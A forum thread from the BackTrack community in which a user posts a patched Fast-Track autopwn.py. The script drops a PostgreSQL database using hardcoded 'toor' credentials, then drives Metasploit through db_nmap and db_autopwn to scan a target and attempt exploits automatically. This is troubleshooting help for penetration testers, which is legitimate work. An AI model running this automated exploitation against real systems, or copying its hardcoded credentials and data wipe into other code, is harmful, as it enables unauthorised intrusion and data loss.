Results 1 to 2 of 2

Thread: My Fast-Track Fix

Hybrid View

  1. #1
    Just burned his ISO
    Join Date
    Oct 2006
    Posts
    2

    Lightbulb My Fast-Track Fix

    I've spent a lot of time trying to get my autopwn working after numerous issues with the database drivers. Here's what I did to get it fully functional.

    Prerequisites:
    1. You have postgresql installed and you have a valid username and password.

    -------------------------------------------------------------
    1. Open autopwn.py in gedit (or nano).
    #gedit /pentest/exploits/fasttrack/bin/ftsrc/autopwn.py

    2. Scroll to the bottom.

    Code:
    # define metasploit path
    meta_path=file("%s/config/fasttrack_config" % (definepath),"r").readlines()
    for line in meta_path:
        line=line.rstrip()
        match=re.search("METASPLOIT_PATH",line)
        if match:
           line=line.replace("METASPLOIT_PATH=","")
           metapath=line
    #------------ ABOVE THIS LINE HAS NOT BEEN MODIFIED ------------
    try:
       dropdb = pexpect.spawn('dropdb -e -U postgres -W pentest')
       dropdb.expect('Password:')
       dropdb.sendline('toor')
       print "\nExisting database destroyed\n"
    # replace postres with your username and pentest with your database
    # replace toor with your password associated with that username
    # at this point the database should be destroyed...
    
    except Exception:
       print "\nDatabase could not be destroyed.\n"
    # ...or we fail
    
    try:
    # spawn msfc
       child1 = pexpect.spawn('%smsfconsole' % (metapath))
    # load postgresql driver
       child1.sendline ('db_driver postgresql')
    # connect to new db with your credentials and database
       child1.sendline('db_connect postgres:toor@127.0.0.1/pentest')
    # run port scans
       child1.sendline ('''db_nmap %s ''' % (ipaddr))
    # run exploitation phase
       child1.sendline ('db_autopwn -p -t -e %s' % (option1))
       child1.sendline ('sleep 5')
       child1.sendline ('jobs -K')
       child1.sendline ('\n\n\n')
       child1.sendline ('sessions -l')
    # jump to pid
       child1.interact()
    except Exception:
           print "\n    Exiting Fast-Track...\n"
    Enjoy.

  2. #2
    Just burned his ISO
    Join Date
    Mar 2010
    Posts
    1

    Default Re: My Fast-Track Fix

    After struggling for nearly a day.....a fix!!...I couldn't figure out how to drop the old database...thank you so much!

Similar Threads

  1. Fast-Track <-> Accediendo a un sistemas con Fast-Track
    By šĜrτĦacK in forum BT Videos - ES
    Replies: 1
    Last Post: 06-26-2010, 05:57 AM
  2. Fast-track bug
    By sangteamtham in forum OLD Newbie Area
    Replies: 0
    Last Post: 05-02-2009, 12:36 PM
  3. Fast-Track.py
    By Mickiey in forum OLD Latest Public Release - BackTrack4 Beta
    Replies: 2
    Last Post: 04-24-2009, 08:01 PM
  4. Fast-Track Dev
    By purehate in forum OLD Programming
    Replies: 63
    Last Post: 06-15-2008, 10:22 PM
  5. Fast-Track.py
    By theStonedHacker in forum OLD Newbie Area
    Replies: 1
    Last Post: 06-15-2008, 05:58 AM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •